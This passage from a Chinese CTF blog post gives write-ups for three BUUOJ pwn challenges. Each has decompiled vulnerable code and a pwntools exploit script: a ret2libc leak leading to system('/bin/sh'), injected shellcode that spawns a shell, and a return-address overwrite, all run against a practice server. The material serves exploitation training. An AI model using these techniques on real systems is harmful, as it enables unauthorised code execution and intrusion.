class="number">0</span>, <span class="number">0x4C</span>u);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, buf);</span><br><span class="line">  v3 = <span class="built_in">strlen</span>(buf);</span><br><span class="line">  write(<span class="number">1</span>, buf, v3);</span><br><span class="line">  vuln();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">ssize_t</span> <span class="title">vuln</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">104</span>]; <span class="comment">// [esp+Ch] [ebp-6Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, buf);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100</span>u);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">27296</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./bof&quot;)</span></span><br><span class="line">elf = ELF(<span class="string">&quot;./bof&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-2.23.so&quot;</span>)</span><br><span class="line">vuln = <span class="number">0x080484D6</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x6c</span>+<span class="number">4</span>) + p32(elf.plt[<span class="string">&#x27;write&#x27;</span>])+p32(vuln)+p32(<span class="number">1</span>)+p32(elf.got[<span class="string">&#x27;write&#x27;</span>])+p32(<span class="number">4</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvuntil(<span class="string">&quot;\x21\x0a&quot;</span>)</span><br><span class="line">write_addr= u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(write_addr)</span><br><span class="line">base = write_addr - libc.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">sys_addr = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x6c</span>+<span class="number">4</span>) +p32(sys_addr)+ p32(<span class="number">0xdeadbeef</span>)+p32(bin_sh) </span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x2E-mrctf2020-shellcode"><a href="#0x2E-mrctf2020-shellcode" class="headerlink" title="0x2E.mrctf2020_shellcode"></a>0x2E.mrctf2020_shellcode</h2><p>不能f5</p>
<p><img src="/2021/07/11/BUU-PWN-0x20-0x2F/image-20210712172029216.png" alt="image-20210712172029216"></p>
<p>直接写shellcode就OK。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>, os = <span class="string">&#x27;linux&#x27;</span>, log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">26222</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;mrctf2020_shellcode&quot;)</span></span><br><span class="line">payload = asm(shellcraft.sh())</span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>要加：</p>
<p><code>context(arch = &#39;amd64&#39;, os = &#39;linux&#39;, log_level = &#39;debug&#39;)</code></p>
<h2 id="0x2F-bbys-tu-2016"><a href="#0x2F-bbys-tu-2016" class="headerlink" title="0x2F.bbys_tu_2016"></a>0x2F.bbys_tu_2016</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// [esp+14h] [ebp-Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;This program is hungry. You should feed it.&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, &amp;v4);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Do you feel the flow?&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>对输入没有限制，生成一些字符串。</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~$ cyclic 50</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama</span><br></pre></td></tr></table></figure>

<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; </span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama</span><br><span class="line"><span class="number">32</span>	<span class="keyword">in</span> isoc99_scanf.c</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">─────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────</span><br><span class="line"> EAX  <span class="number">0x1</span></span><br><span class="line"> EBX  <span class="number">0xf7fb7000</span> (_GLOBAL_OFFSET_TABLE_) ◂— <span class="number">0x1b2db0</span></span><br><span class="line"> ECX  <span class="number">0xa</span></span><br><span class="line"> EDX  <span class="number">0xf7fb887c</span> (_IO_stdfile_0_lock) ◂— <span class="number">0x1</span></span><br><span class="line"> EDI  <span class="number">0xf7fb7e00</span> (stdin) —▸ <span class="number">0xf7fb75a0</span> (_IO_2_1_stdin_) ◂— <span class="number">0xfbad2288</span></span><br><span class="line"> ESI  <span class="number">0xf7fb75a0</span> (_IO_2_1_stdin_) ◂— <span class="number">0xfbad2288</span></span><br><span class="line"> EBP  <span class="number">0xffffd068</span> —▸ <span class="number">0xffffd098</span> ◂— <span class="number">0x61616166</span> (<span class="string">&#x27;faaa&#x27;</span>)&lt;&lt;&lt;&lt;&lt;&lt;=这里</span><br><span class="line"> ESP  <span class="number">0xffffd040</span> —▸ <span class="number">0xf7fe77eb</span> (_dl_fixup+<span class="number">11</span>) ◂— add    esi, <span class="number">0x15815</span></span><br><span class="line"> EIP  <span class="number">0xf7e60151</span> (__isoc99_scanf+<span class="number">129</span>) ◂— <span class="keyword">and</span>    dword ptr [esi + <span class="number">0x3c</span>], <span class="number">0xffffffeb</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>

<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~$ cyclic -l 0x61616166</span><br><span class="line">20</span><br></pre></td></tr></table></figure>

<p>Exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>, os = <span class="string">&#x27;linux&#x27;</span>, log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">25672</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./bbys_tu_2016&quot;)</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">20</span>+<span class="number">4</span>)+ p32(<span class="number">0x0804856D</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>


























                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2021/06/01/BUU-PWN-0x01-0x0F/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2021-07-11
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/PWN/" title="PWN">
              <b>#</b> PWN
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2021/07/18/BUU-PWN-0x30-0x3f/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#0x20-jarvisoj-level3-x64"><span class="toc-text">0x20.jarvisoj_level3_x64</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x21-picoctf-2018-rop-chain"><span class="toc-text">0x21.picoctf_2018_rop chain</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x22-ZJCTF-2019-EasyHeap"><span class="toc-text">0x22.[ZJCTF 2019]EasyHeap</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x23-bjdctf-2020-babyrop2"><span class="toc-text">0x23.bjdctf_2020_babyrop2</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x24-jarvisoj-test-your-memory"><span class="toc-text">0x24.jarvisoj_test_your_memory</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x25-bjdctf-2020-router"><span class="toc-text">0x25.bjdctf_2020_router</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x26-hitcontraining-uaf"><span class="toc-text">0x26.hitcontraining_uaf</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x27-picoctf-2018-buffer-overflow-1"><span class="toc-text">0x27.picoctf_2018_buffer overflow 1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x28-pwnable-orw"><span class="toc-text">0x28.pwnable_orw</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x29-wustctf2020-getshell"><span class="toc-text">0x29.wustctf2020_getshell</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x2A-cmcc-simplerop"><span class="toc-text">0x2A.cmcc_simplerop</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x2B-babyfengshui-33c3-2016"><span class="toc-text">0x2B.babyfengshui_33c3_2016</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x2C-picoctf-2018-buffer-overflow-2"><span class="toc-text">0x2C.picoctf_2018_buffer overflow 2</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x2D-xdctf2015-pwn200"><span class="toc-text">0x2D.xdctf2015_pwn200</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x2E-mrctf2020-shellcode"><span class="toc-text">0x2E.mrctf2020_shellcode</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x2F-bbys-tu-2016"><span class="toc-text">0x2F.bbys_tu_2016</span></a></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + BUU_PWN%E5%88%B7%E9%A2%98_0x21-0x2F + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2021%2F07%2F11%2FBUU-PWN-0x20-0x2F%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2021/07/11/BUU-PWN-0x20-0x2F/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
